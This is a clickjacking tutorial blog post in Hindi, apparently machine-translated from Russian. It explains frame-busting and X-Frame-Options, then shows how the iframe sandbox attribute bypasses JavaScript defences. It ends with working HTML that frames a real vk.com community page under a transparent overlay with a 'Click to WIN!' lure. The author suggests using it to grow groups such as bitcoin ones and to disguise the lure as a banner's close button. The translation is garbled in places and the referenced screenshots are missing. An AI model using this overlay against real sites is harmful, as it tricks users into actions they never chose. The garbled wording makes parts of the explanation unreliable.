📿 🙎🏻 🌞 क्लिक ए टू जेड 🎪 👩🏽‍🌾 🏇🏽

प्रिय मित्र, नमस्कार!
यह पोस्ट क्लिकजैकिंग हमलों की प्रकृति, उपयोगकर्ता को प्रभावित करने के तरीके और इस भेद्यता का प्रतिकार करने के बारे में बात करेगी।

क्लिकजैकिंग क्या है?

क्लिकजैकिंग इंटरनेट उपयोगकर्ताओं को धोखा देने के लिए एक तंत्र है, जिसमें एक हमलावर गोपनीय जानकारी तक पहुंच प्राप्त कर सकता है या यहां तक कि किसी उपयोगकर्ता के कंप्यूटर तक उसे स्पष्ट रूप से हानिरहित पृष्ठ पर पहुंचाने या दुर्भावनापूर्ण कोड को एक सुरक्षित पृष्ठ में इंजेक्ट करके प्राप्त कर सकता है। विकी

रूसी में बोलते हुए, हम एक आइफ्रेम, या इसी तरह की विधि का उपयोग करके एक पेज बनाते हैं, जिससे यह पूरी तरह से पारदर्शी हो जाता है, और इसके शीर्ष पर कुछ पाठ डालते हैं। इस प्रकार, हम उपयोगकर्ता को भ्रमित कर सकते हैं और उसे कुछ कार्यों को करने के लिए मजबूर कर सकते हैं।

काउंटर करने के तरीके

आप कहेंगे: "हम किसी हमले का प्रतिकार करना क्यों सीखते हैं, भले ही हम यह नहीं जानते हों कि इसका दोहन कैसे किया जाए?" लेकिन हमले का उपयोग करने के लिए, आपको यह सुनिश्चित करने की आवश्यकता है कि हमारे लिए ब्याज की मेजबानी असुरक्षित है, तभी हम भेद्यता का उपयोग कर सकते हैं।

सुरक्षा के कई तरीके हैं। ठीक है, कम से कम कुछ लोग ऐसा सोचते हैं।

तथ्य यह है कि जब 2008 में उन्होंने इस प्रकार के हमले का सार्वजनिक खुलासा किया (जो बकवास है, क्योंकि उन्होंने पहले इस बारे में बात की थी, लेखकों की कम लोकप्रियता के कारण, विधि जनता के पास नहीं गई थी) उन्होंने इसका मुकाबला करने के लिए आसान फिक्स का उपयोग करना शुरू कर दिया, जो छद्म संरक्षण है। और थोड़ी देर के बाद, ब्राउज़रों ने एक विशेष हेडर का समर्थन करना शुरू कर दिया, जो प्रतिबंध लगाता है, या यहां तक कि इस के अलावा अन्य मेजबानों पर आइफ्रेम डाउनलोड करने पर प्रतिबंध लगाता है। इसलिए, हम एक जीवित उदाहरण का उपयोग करके इन दो गढ़ों का विश्लेषण करेंगे।

शीर्ष! = स्व या छद्म संरक्षण

जैसा कि मैंने पहले ही कहा, यह विधि लगभग तुरंत दिखाई दी, और हाल ही तक, कम से कम किसी प्रकार की सुरक्षा थी।

"सुरक्षा" के उदाहरण पर विचार करें। हमारे पास एक पेज एक iframe में लोड है।

अब हम कोड को इंजेक्ट करते हैं और यहां तक कि देखते हैं कि यह काम कर रहा है।

लेकिन एचटीएमएल 5 के आगमन और सभी आधुनिक ब्राउज़रों के समर्थन के साथ, यह सुरक्षा बस बायपास हो गई है।

HTML5 हमें सैंडबॉक्स विशेषता के लिए समर्थन लाया है।

मान लें कि यह केवल "रक्षा" नहीं है। यह सभी जेएस पर आधारित है और आसानी से बायपास हो जाता है।

एक्स-फ्रेम-ऑप्शन हैडर

यह हैडर हमें एक iframe में संसाधन के लोडिंग को पूरी तरह या आंशिक रूप से प्रतिबंधित करने की अनुमति देता है। इसे प्राप्त करना बेहद कठिन है, क्योंकि ब्राउज़र हेडर को सीधे प्रोसेस करता है और बाईपास एक ब्राउज़र भेद्यता है। यह विधि आज सबसे अधिक स्वीकार्य है।

Google.ru पर हैडर काम करते हैं

Clickjacking VK

खैर, हमें अपने ज्ञान का व्यावहारिक अनुप्रयोग मिला।

पहली चीज जो एक पंचर को जांचनी चाहिए वह हैडर की उपस्थिति है।

जैसा कि हम देख सकते हैं, एक्स-फ्रेम-विकल्प हेडर गायब है, अर्थात साइट असुरक्षित है।

एक आइफ्रेम में साइट को लोड करने की कोशिश करने पर, हमें एक अनलोड किया गया पेज मिलता है।

सैंडबॉक्स जोड़कर, हम पृष्ठ को फिर से लोड करते हैं।

और यहाँ अपराधी है

हम पाठ को "समूह में शामिल करें" बटन के नीचे रखते हैं।

हमारे पास एक पृष्ठ है, ठीक है, या बिटकॉइन समूह हैं, यदि आप समझते हैं कि मेरा क्या मतलब है :)

<html> <head> <title>Clickjacking vk.com</title> <style> iframe { position: absolute; opacity: 0.2; z-index: 2; } </style> </head> <body> <iframe sandbox width='400' height='500' src='http://m.vk.com/drinkingandcats'></iframe> <a id='a' style='position:relative;left:140px;top:127px'>Click to WIN!</a> </body> </html>

खैर, बस इतना ही। पृष्ठ की उपस्थिति कोई भी हो सकती है, लेकिन हमला करने का सबसे अच्छा तरीका पृष्ठ के शीर्ष पर, एक क्रॉस की तस्वीर को लटका देना है, बैनर को बंद करना है। सबसे अच्छा तरीका है।

क्लिक ए टू जेड

क्लिकजैकिंग क्या है?

काउंटर करने के तरीके

शीर्ष! = स्व या छद्म संरक्षण

एक्स-फ्रेम-ऑप्शन हैडर

Clickjacking VK

More articles: